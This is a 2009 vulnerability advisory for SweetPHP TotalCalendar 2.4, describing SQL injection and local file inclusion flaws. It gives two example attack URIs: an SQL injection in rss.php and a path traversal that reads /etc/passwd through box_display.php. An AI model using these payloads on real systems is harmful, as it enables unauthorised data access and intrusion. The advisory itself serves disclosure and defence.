TotalCalendar SQL Injection and Local File Include Vulnerabilities

Bugtraq ID:	36161
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Aug 26 2009 12:00AM
Updated:	Aug 26 2009 08:32PM
Credit:	Moudi
Vulnerable:	SweetPHP TotalCalendar 2.4
Not Vulnerable:

TotalCalendar SQL Injection and Local File Include Vulnerabilities

TotalCalendar is prone to an SQL-injection vulnerability and a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting the SQL-injection issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The attacker can exploit the local file-include issue to execute arbitrary local script code and obtain sensitive information that may aid in further attacks.

TotalCalendar 2.4 is vulnerable; other versions may also be affected.

TotalCalendar SQL Injection and Local File Include Vulnerabilities

Attackers can use a browser to exploit these issues.

The following example URIs are available:

http://www.example.com/rss.php?feedBox=Upcoming_Events&action=SwitchCal&selectedCal=1'+and+2-2='0 TRUE

http://www.example.com/box_display.php?box=../../../../../../../../etc/passwd%00.htm

TotalCalendar SQL Injection and Local File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

TotalCalendar SQL Injection and Local File Include Vulnerabilities

References:

• TotalCalendar Homepage (SweetPHP)